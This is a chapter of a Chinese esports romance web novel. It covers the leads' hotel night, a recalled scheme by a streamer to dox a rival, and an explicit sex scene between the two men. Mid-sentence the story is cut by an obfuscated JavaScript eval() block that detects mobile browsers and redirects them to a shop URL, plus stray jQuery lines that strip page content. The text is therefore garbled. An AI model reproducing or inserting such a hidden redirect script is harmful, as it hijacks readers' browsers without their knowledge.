晚上他俩去逛了夜市，陆意扬又买了一堆的丑东西。


    现在他手上这个像一刀砍在脑子上的发窟，一起做了一个丑得要死的陶瓷碗，又比如说他看上的一个挂着大蟑螂的逗猫棒，正在爱不释手。


    “这个牛，还会哔哔哔，这蟑螂还会爬，”陆意扬啪一下扔出去，“看我展示！”


    陆意扬养的猫跟他一个审美，恶心的逗猫棒神经病猫果真喜欢得不得了，拖着蟑螂到处跑，最开始陆意扬很满意，结果半个小时过去了陆意扬都要躺床上了，这猫还拖着大蟑螂跑酷，飞檐走壁，猛踹肚子，这就算了，到处都是哔哔哔滋滋滋的声音还会闪光，任谁看了都会头疼，陆意扬想去抓猫，但是小魔王识破了他诡计，猫科动物在游走人类这种笨拙生物的时候太过灵巧。


    “你定这么大房间干嘛？”


    “你帮我抓一下呀！”


    “我真服了你能不能给它嘴里那个蟑螂弄出来？”


    “你快去把这个蟑螂扔了我受不了了。”


    “你给它踩死，你快点踩！你蹦起来踩！”


    “这神经病猫就是你弄过来的。”


    “我累了。”


    陆意扬躺在床上，“我解说一天的比赛都没这么累。”


    “辛苦。”谈年正在手机上看小5打包过来的视频，还要受累看陆意扬跟猫斗智斗勇。


    陆意扬伸手去拿水喝，接着拿着手机躺在他身边开始批阅今日热点。


    看见了熟人。


    这个叫「小17」是陆意扬为数不多开过专场的女孩儿。


    很多女孩儿被投稿基本是感情问题，小17不是。


    她长得漂亮，直播开视频，给自己立了一个「最能打女主播」的人设，很多人都发现了她说话跟不上游戏节奏，最关键的是她惯用键改动，[WERF快捷装备栏Q空格1234]忽然变成了[QWER快捷键位F1F2F3F4F5F6]。


    打游戏很少很少会改自己的固定键位，更别说是跨度这么大的在两三天内就能完全没有失误地操作起来。


    陆意扬见过些投稿，但是也没管人家闲事。


    但是这个时候有另一个有天赋的女主播冒头了，麦不太好，偶有电流，不开视频，但是操作确实都能跟上WSPL的队伍了，经常跟着一些次级联赛的主播打排位，记得她的网名挺长，大家叫她蛮蛮。


    眼看着自己的人气日益下滑，而且正值WATA2那会儿搞年度TA女神，很多评论都想要小编采访蛮蛮想要一睹真容，这意味着官网都会在首页放到直播间的链接，小17正逢续约，想了一招。


    她假扮成一个卖键盘电玩的老板，找到蛮蛮想要她打广告，还准备了挺多自证资料，电竞装备找主播售卖微博直播间打一下广告太正常不过，小17就要到了蛮蛮的地址，只有一个小区的名字。


    等小17到了蛮蛮小区，给她手机号打电话说有人给她点了外卖，蛮蛮穿着睡衣拖鞋就来了，自然，她没有拿到外卖。


    等第二天，全网都知道她长什么样子了。


    肿泡眼，塌鼻梁，厚嘴唇，用网友的话说的就是「这就是各位口中的TA女神？」还有「你老婆」。


    蛮蛮受不了全网都是她的黑图黑料，全部都是人身攻击，没有参与TA女神，直接告别了这个游戏，很多人猜测这事儿是小17干的，但是鉴于没有证据，只能草草作罢，但是这个时候，蛮蛮的一个朋友找到了羊崽，想要连同这件事还有她代打的事情一起曝光。


    陆意扬当时联系了小17能不能给蛮蛮道歉，代打的事儿是板上钉钉的，自己退游或者跟蛮蛮商议解决，小17拒绝得很彻底，并说：“你说是我就是我吗？”


    证据并不好找。


    最后还是陆意扬通过给蛮蛮打电话的那个号码，找到了网易云的通讯录好友，通过网易云的账号名字搜去微博，然后在微博上排除了一大堆的IP之后，挨个找了一通宵，找到了她的微博小号。


    微博小号上分享的日常不少，但是不太露脸，主要还是用来炫富，露出来很多跟大号相同的配饰跟美甲。


    但是哪怕是这样的证据面前，小17依然不肯道歉并补偿。


    就这样，陆意扬给她开了专场，这个视频做的真是费眼睛，要不是为了直播热度跟礼物打赏真是一帧都做不下去了。


    都不知道看了多少场她的直播回放，才截到技能正在施法的时候小17正在撩头发、到处看、或者根本没动的动态视频。


    确认IP，确认身份，确认代打，时间线拉齐之后开专场开锤。


    陆意扬记得那个专场他赚了不少钱，小17也因为代打的事儿被WATA封禁来着，再后来似乎换了游戏，但依然能混得风生水起，后来考研成功又火了一把，被誉为在一众丈育里面的高知美丽还会游戏的女神典型，这次上广场是因为要回来建俱乐部，要成WATA2第一个正式女队，现在正在直播。


    她的样子比从前成熟了很多，她现在也不需要代打了，坐在直播间就聊现在女生打游戏的环境之差，女孩子要在moba游戏里的劣势，她想要在正式比赛中让女队走到各位眼前，她现在正在做什么准备。


    她的直播间质疑跟欢呼都在，偶尔有人提到从前，也迅速地被淹没，当时的羊崽的专场为了不太多涉及到蛮蛮，重点只说她了她找代打的事。


    女队一直以来都有人想建，但是总说不系统无规模，环境不好，基数太少，不了了之，小17打算来改变这一现状，这一下子话题正在炸锅。


    男女游戏天赋没有差异，但是电子竞技卷到最后还是成了一群天才的体力劳动，这是一个漫长的过程，女生想站在顶端就要比男孩儿承受更多的压力，克服更多游戏以外的问题，女队肯定会出现，有很多人正在为此努力。


    除了小17，陆意扬现在都不能打开元宝TV，一滑不出三下就要刷到R21，夺冠的热潮还没过去，五一各个战队直播就要全线开始，但是R21因夺冠也提前开播了。


    虽然椰哥一直说，能穿到亚军也行，各位也不用有太大的压力，但是训练计划明明白白地加重、提前了。


    星赛的名额就四个，去年的星赛冠军INE是直邀，春季赛R21保送，秋季赛冠军要走一个名额，剩下两赛季积分最高的队伍再获取最后的名额。


    秋季赛又会有新的队伍进入WPL，如果像之前的PAX或者R21一样一鸣惊人，SUA的积分又恰好比PAX高上一点，很可能连星赛入场券都拿不到。


    如果这样，商业跟身价腰斩是必然，还没到转会期，青训队的人已经频繁开始接触队伍，看春季赛结束也才两三天整个WPL市场已经暗流涌动，关于秋季赛的准备已经抬上来了，其他各队伍已经开始换血，会有选手悄无声息的退役。


    这样的大环境里选手输不起，俱乐部会一直重新考量，巅峰的手感就那么几年，腱鞘炎跟腰伤如影随形，电子竞技的上坡路好疲惫，下坡路很狼狈。


    MOBA类经营游戏牵一发而动全身，概率武器、被动技能能否暴击出一点祝福，决定方向的视野灯能否长明多一瞬，每一件落到实处的努力偶尔都不及一点运气，如果实力与运气同在，将被观众称为天选。


    陆意扬看着身边的谈年，只想他的运气好一点，再好一点。


    “晚一点带你回去吧年年。”


    “好多地方你还没有去玩。”


    “出来一趟已经很好了，还看了海，我特别高兴，”陆意扬把脑袋搁在他腿


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17214909|190783||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    上：“学校里也还有课，过两天五一还有保级赛的解说，可能你的队友们也随时会回来，他们回来的话，你就回基地吧。”


    谈年手上的手机还在看昨晚上INE跟R21的练团，R21在赛后只放假了一天就又恢复训练了，INE更是常年无休。


    “总是没有时间陪你。”


    “不会，”陆意扬闭上眼睛：“休赛季你也不会那么忙，而且我也可以来找你。”


    现在是晚上十点半，楼下远处的年轻人正在升起篝火，他们挂起巨大的投影幕布，上面播放着上个世纪的法国电影。


    年轻人选电影没轻没重，这么远都能听见电影里面让人血脉喷张的互动。


    陆意扬再次睁开眼睛，“年年。”


    “嗯？”谈年的眼神从手机上的视频转移到陆意扬的脸上，“怎么了？”


    他俩一起躺在被子里，浴袍都是散的，甚至陆意扬的头再偏移一点都可以擦到胸口的皮肤。


    陆意扬话还没说出来，脸就已经红了，“天好热，好像是到了可以不穿衣服睡觉的季节了。”


    谈年放下手机，舔了一下唇，“....你不穿衣服的话，我....还比较....年轻....”


    我穿了衣服你也....也硬啊，我又不是不知道，只是你也....不说，我也不好意思啊。


    你同性恋的症状严重一点，有些事总....总不是我提吧....


    而且你以前那个厚脸皮的德行呢，你要是非要互相帮助我也....对吧.....


    “说得好像.....我不年轻一样。”陆意扬说完这话自己的脸先红炸了。


    谈年咬了一下自己的舌尖，在陆意扬手上的手指一缩，“可以吗，.....关灯。”


    你他妈问的是关灯吗。


    但是陆意扬的脑子也不太好使，“你先示范一下.....我的意思是，你关的灯黑。”


    房间里陷入黑暗，帷幔被微微吹动，能闻到一点夜间海风，陆意扬有点紧张。


    陆意扬靠在他身上没动，谈年冰凉的手指从他的手心探入，扣住了，吻了上来。


    好羞耻啊，我应该摸他吗。


    给我自己加油，我先摸一下试试。


    我草，我第一次摸除我自己以外的这个东西啊。


    陆意扬的手轻轻握了一下，好烫，吻他的人就咬住了他的嘴唇，他的喘息变重，他的动作发抖。


    陆意扬轻轻舔了一下他的虎牙，浴袍掉在了地上。


    陆意扬被拖了过去。


    不是，我只是想....伸出援手互相帮助.....但是兄弟你？


    你.......心直..口....口快啊！


    海风在夜间烈烈卷过，房间里还有一点从露台投进来的光亮，陆意扬从反光的卫生间看见他模糊跪在地上影子，他每次接吻的时候都很会舔，现在....


    等下，你是现在在给我打样吗，我一会儿也要这样吗？但问题是，按照我刚刚摸到的，你能直捅我的扁桃体。


    他还在继续，陆意扬的脊椎都麻了，乱糟糟的脑子里里只剩下：要命，他好会舔。


    这个画面不管是冲击力还是体验感都让他遭不住，但是，但是我也不能马上就缴械吧，我....我也得再坚持一下不然多没面子不不不行了我草，陆意扬抖着踩了一下他的锁骨，别再继续了一会弄你....但是他怎么还戗上劲儿了，舌尖一直旋着顶.....不不.....脑子一空，我草完了。


    陆意扬遮住了被子，不动了。


    一点点缝隙，他看见谈年起身，手指从嘴角抹出一条涎水，指尖放在鼻底嗅了嗅。


    在一起那么久，我完全没看出来他这么骚。